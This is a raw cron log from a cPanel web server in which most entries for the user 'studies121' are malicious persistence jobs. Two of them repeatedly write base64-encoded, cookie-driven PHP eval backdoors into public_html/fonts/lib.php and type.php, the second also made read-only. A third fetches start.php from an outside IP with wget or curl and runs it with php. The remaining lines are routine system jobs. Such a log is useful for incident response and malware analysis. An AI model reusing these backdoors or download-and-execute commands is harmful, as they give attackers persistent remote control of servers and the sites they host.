Sep  2 12:01:01 ip-184-168-122-23 CROND[11089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[11083]: starting 0anacron
Sep  2 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[11105]: finished 0anacron
Sep  2 12:02:01 ip-184-168-122-23 CROND[11207]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:02:01 ip-184-168-122-23 CROND[11209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:02:01 ip-184-168-122-23 CROND[11210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:02:01 ip-184-168-122-23 CROND[11211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:02:01 ip-184-168-122-23 CROND[11212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:03:01 ip-184-168-122-23 CROND[11307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:03:01 ip-184-168-122-23 CROND[11306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:03:01 ip-184-168-122-23 CROND[11305]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:03:01 ip-184-168-122-23 CROND[11308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:04:01 ip-184-168-122-23 CROND[11410]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:04:01 ip-184-168-122-23 CROND[11413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:04:01 ip-184-168-122-23 CROND[11414]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:04:01 ip-184-168-122-23 CROND[11412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:04:01 ip-184-168-122-23 CROND[11415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:05:01 ip-184-168-122-23 CROND[11622]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 12:05:01 ip-184-168-122-23 CROND[11624]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 12:05:01 ip-184-168-122-23 CROND[11628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:05:01 ip-184-168-122-23 CROND[11630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:05:01 ip-184-168-122-23 CROND[11627]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 12:05:01 ip-184-168-122-23 CROND[11631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:05:01 ip-184-168-122-23 CROND[11629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:06:01 ip-184-168-122-23 CROND[11816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:06:01 ip-184-168-122-23 CROND[11815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:06:01 ip-184-168-122-23 CROND[11818]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:06:01 ip-184-168-122-23 CROND[11814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:06:01 ip-184-168-122-23 CROND[11817]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:07:01 ip-184-168-122-23 CROND[12050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:07:01 ip-184-168-122-23 CROND[12053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:07:01 ip-184-168-122-23 CROND[12051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:07:01 ip-184-168-122-23 CROND[12052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:08:01 ip-184-168-122-23 CROND[12294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:08:01 ip-184-168-122-23 CROND[12296]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:08:01 ip-184-168-122-23 CROND[12297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:08:01 ip-184-168-122-23 CROND[12299]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:08:01 ip-184-168-122-23 CROND[12298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:09:01 ip-184-168-122-23 CROND[12603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:09:01 ip-184-168-122-23 CROND[12605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:09:01 ip-184-168-122-23 CROND[12607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:09:01 ip-184-168-122-23 CROND[12606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:09:01 ip-184-168-122-23 CROND[12608]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 12:10:01 ip-184-168-122-23 CROND[12829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:10:01 ip-184-168-122-23 CROND[12830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:10:01 ip-184-168-122-23 CROND[12831]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 12:10:01 ip-184-168-122-23 CROND[12836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:10:01 ip-184-168-122-23 CROND[12834]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 12:10:01 ip-184-168-122-23 CROND[12838]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 12:10:01 ip-184-168-122-23 CROND[12837]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:10:01 ip-184-168-122-23 CROND[12841]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:11:01 ip-184-168-122-23 CROND[13126]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:11:01 ip-184-168-122-23 CROND[13124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:11:01 ip-184-168-122-23 CROND[13125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:11:01 ip-184-168-122-23 CROND[13127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:12:01 ip-184-168-122-23 CROND[13318]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:12:01 ip-184-168-122-23 CROND[13320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:12:01 ip-184-168-122-23 CROND[13323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:12:01 ip-184-168-122-23 CROND[13321]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:12:01 ip-184-168-122-23 CROND[13322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:13:01 ip-184-168-122-23 CROND[13621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:13:01 ip-184-168-122-23 CROND[13624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:13:01 ip-184-168-122-23 CROND[13622]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
